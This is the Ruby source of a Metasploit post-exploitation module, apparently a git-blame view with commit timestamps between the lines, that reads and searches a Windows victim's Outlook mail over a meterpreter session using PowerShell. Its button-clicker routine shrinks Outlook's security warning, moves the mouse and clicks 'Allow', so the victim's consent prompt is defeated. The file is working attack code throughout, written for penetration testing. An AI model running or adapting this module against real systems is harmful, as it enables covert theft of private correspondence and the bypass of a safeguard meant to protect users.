2014-11-17 18:38:55 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf :: Post
2014-11-18 11:41:24 +00:00
include Msf :: Post :: Windows :: Registry
2014-12-03 17:30:22 +00:00
include Msf :: Post :: Windows :: Powershell
2014-11-17 18:38:55 +00:00
2014-12-12 19:09:34 +00:00
A_HASH = { " en_US " = > " Allow " , " nl_NL " = > " Toestaan " , " de_DE " = > " Erteilen " , " de_AT " = > " Erteilen " }
ACF_HASH = { " en_US " = > " Allow access for " , " nl_NL " = > " Toegang geven voor " , " de_DE " = > " Zugriff gew \xc3 \xa4 hren f \xc3 \xbc r " , " de_AT " = > " Zugriff gew \xc3 \xa4 hren f \xc3 \xbc r " }
2014-11-17 18:38:55 +00:00
2014-11-18 11:41:24 +00:00
def initialize ( info = { } )
super ( update_info ( info ,
2014-12-05 23:28:44 +00:00
'Name' = > 'Windows Gather Outlook Email Messages' ,
'Description' = > %q{
2014-12-08 16:57:49 +00:00
This module allows reading and searching email messages from the local
Outlook installation using PowerShell . Please note that this module is
manipulating the victims keyboard / mouse . If a victim is active on the target
system , he may notice the activities of this module . Tested on Windows 8 . 1
x64 with Office 2013 .
2014-12-05 23:28:44 +00:00
} ,
'License' = > MSF_LICENSE ,
'Author' = > [ 'Wesley Neelen <security[at]forsec.nl>' ] ,
'References' = > [ 'URL' , 'https://forsec.nl/2014/11/reading-outlook-using-metasploit' ] ,
'Platform' = > [ 'win' ] ,
2016-10-27 21:16:05 +00:00
'Arch' = > [ ARCH_X86 , ARCH_X64 ] ,
2014-12-05 23:28:44 +00:00
'SessionTypes' = > [ 'meterpreter' ] ,
'Actions' = > [
[ 'LIST' , { 'Description' = > 'Lists all folders' } ] ,
[ 'SEARCH' , { 'Description' = > 'Searches for an email' } ]
] ,
'DefaultAction' = > 'LIST'
) )
register_options (
[
2014-12-05 23:38:05 +00:00
OptString . new ( 'FOLDER' , [ false , 'The e-mailfolder to read (e.g. Inbox)' ] ) ,
OptString . new ( 'KEYWORD' , [ false , 'Search e-mails by the keyword specified here' ] ) ,
OptString . new ( 'A_TRANSLATION' , [ false , 'Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.' ] ) ,
2015-01-21 21:27:48 +00:00
OptString . new ( 'ACF_TRANSLATION' , [ false , 'Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.' ] )
2014-11-18 11:41:24 +00:00
] , self . class )
2015-01-21 21:24:43 +00:00
register_advanced_options (
[
OptInt . new ( 'TIMEOUT' , [ true , 'The maximum time (in seconds) to wait for any Powershell scripts to complete' , 120 ] )
] , self . class )
2014-11-18 11:41:24 +00:00
end
2014-12-05 23:28:44 +00:00
def execute_outlook_script ( command )
base_script = File . read ( File . join ( Msf :: Config . data_directory , " post " , " powershell " , " outlook.ps1 " ) )
psh_script = base_script << command
2014-12-03 17:30:22 +00:00
compressed_script = compress_script ( psh_script )
2015-01-21 21:24:43 +00:00
cmd_out , runnings_pids , open_channels = execute_script ( compressed_script , datastore [ 'TIMEOUT' ] )
2014-12-03 17:30:22 +00:00
while ( d = cmd_out . channel . read )
2014-12-05 23:28:44 +00:00
print ( " #{ d } " )
2014-12-03 17:30:22 +00:00
end
2014-11-18 11:41:24 +00:00
currentidle = session . ui . idle_time
2014-12-05 23:28:44 +00:00
vprint_status ( " System has currently been idle for #{ currentidle } seconds " )
end
# This function prints a listing of available mailbox folders
2014-12-11 21:24:30 +00:00
def list_boxes
2014-12-05 23:28:44 +00:00
command = 'List-Folder'
execute_outlook_script ( command )
2014-11-18 11:41:24 +00:00
end
2014-12-05 23:28:44 +00:00
# This functions reads Outlook using powershell scripts
2014-12-11 21:24:30 +00:00
def read_emails ( folder , keyword , atrans , acftrans )
2014-11-18 11:41:24 +00:00
view = framework . threads . spawn ( " ButtonClicker " , false ) {
2014-12-11 21:24:30 +00:00
click_button ( atrans , acftrans )
2014-11-18 11:41:24 +00:00
}
2014-12-05 23:28:44 +00:00
command = " Get-Emails \" #{ keyword } \" \" #{ folder } \" "
execute_outlook_script ( command )
2014-11-18 11:41:24 +00:00
end
2014-12-11 21:24:30 +00:00
# This functions clicks on the security notification generated by Outlook.
def click_button ( atrans , acftrans )
2014-11-18 11:41:24 +00:00
sleep 1
hwnd = client . railgun . user32 . FindWindowW ( nil , " Microsoft Outlook " )
2014-12-04 13:28:40 +00:00
if hwnd != 0
2014-12-05 23:31:38 +00:00
hwndChildCk = client . railgun . user32 . FindWindowExW ( hwnd [ 'return' ] , nil , " Button " , " & #{ acftrans } " )
client . railgun . user32 . SendMessageW ( hwndChildCk [ 'return' ] , 0x00F1 , 1 , nil )
client . railgun . user32 . MoveWindow ( hwnd [ 'return' ] , 150 , 150 , 1 , 1 , true )
hwndChild = client . railgun . user32 . FindWindowExW ( hwnd [ 'return' ] , nil , " Button " , " #{ atrans } " )
client . railgun . user32 . SetActiveWindow ( hwndChild [ 'return' ] )
client . railgun . user32 . SetForegroundWindow ( hwndChild [ 'return' ] )
client . railgun . user32 . SetCursorPos ( 150 , 150 )
client . railgun . user32 . mouse_event ( 0x0002 , 150 , 150 , nil , nil )
client . railgun . user32 . SendMessageW ( hwndChild [ 'return' ] , 0x00F5 , 0 , nil )
2014-12-04 13:28:40 +00:00
else
2014-12-05 23:31:38 +00:00
print_error ( " Error while clicking on the Outlook security notification. Window could not be found " )
2014-12-04 13:28:40 +00:00
end
2014-11-18 11:41:24 +00:00
end
2014-12-11 21:24:30 +00:00
# Main method
2014-11-18 11:41:24 +00:00
def run
folder = datastore [ 'FOLDER' ]
keyword = datastore [ 'KEYWORD' ] . to_s
allow = datastore [ 'A_TRANSLATION' ]
allow_access_for = datastore [ 'ACF_TRANSLATION' ]
2014-12-02 13:05:08 +00:00
langNotSupported = true
2014-11-18 11:41:24 +00:00
# OS language check
sysLang = client . sys . config . sysinfo [ 'System Language' ]
2014-12-02 13:05:08 +00:00
A_HASH . each do | key , val |
2014-12-05 23:31:38 +00:00
if sysLang == key
langNotSupported = false
atrans = A_HASH [ sysLang ]
acftrans = ACF_HASH [ sysLang ]
end
2014-11-18 11:41:24 +00:00
end
2014-11-18 15:27:33 +00:00
if allow and allow_access_for
2014-12-05 23:31:38 +00:00
atrans = allow
acftrans = allow_access_for
2014-11-21 19:00:30 +00:00
else
2014-12-05 23:31:38 +00:00
if langNotSupported == true
fail_with ( Failure :: Unknown , " System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for) " )
end
2014-11-18 15:27:33 +00:00
end
2014-11-18 11:41:24 +00:00
# Outlook installed
@key_base = " HKCU \\ Software \\ Microsoft \\ Windows NT \\ CurrentVersion \\ Windows Messaging Subsystem \\ Profiles \\ Outlook \\ 9375CFF0413111d3B88A00104B2A6676 "
outlookInstalled = registry_getvaldata ( " #{ @key_base } \\ " , " NextAccountID " )
if ! outlookInstalled . nil?
if outlookInstalled != 0
print_good " Outlook is installed "
else
2014-12-04 13:28:40 +00:00
fail_with ( Failure :: Unknown , " Outlook is not installed " )
2014-11-18 11:41:24 +00:00
end
end
# Powershell installed check
2014-12-04 13:28:40 +00:00
if have_powershell?
2014-12-08 16:57:49 +00:00
print_good ( " PowerShell is installed. " )
2014-12-04 13:28:40 +00:00
else
2014-12-08 16:57:49 +00:00
fail_with ( Failure :: Unknown , " PowerShell is not installed " )
2014-11-18 11:41:24 +00:00
end
# Check whether target system is locked
locked = client . railgun . user32 . GetForegroundWindow ( ) [ 'return' ]
if locked == 0
2015-02-08 04:26:14 +00:00
fail_with ( Failure :: Unknown , " Target system is locked. This post module cannot click on Outlook's security warning when the target system is locked. " )
2014-11-18 11:41:24 +00:00
end
2014-12-04 13:28:40 +00:00
case action . name
when 'LIST'
2014-11-18 11:41:24 +00:00
print_good ( 'Available folders in the mailbox: ' )
2014-12-11 21:24:30 +00:00
list_boxes
2014-12-04 13:28:40 +00:00
when 'SEARCH'
2014-12-11 21:24:30 +00:00
read_emails ( folder , keyword , atrans , acftrans )
2014-12-04 13:28:40 +00:00
else
print_error ( " Unknown Action: #{ action . name } " )
2014-11-18 11:41:24 +00:00
end
end
2014-11-17 18:38:55 +00:00
end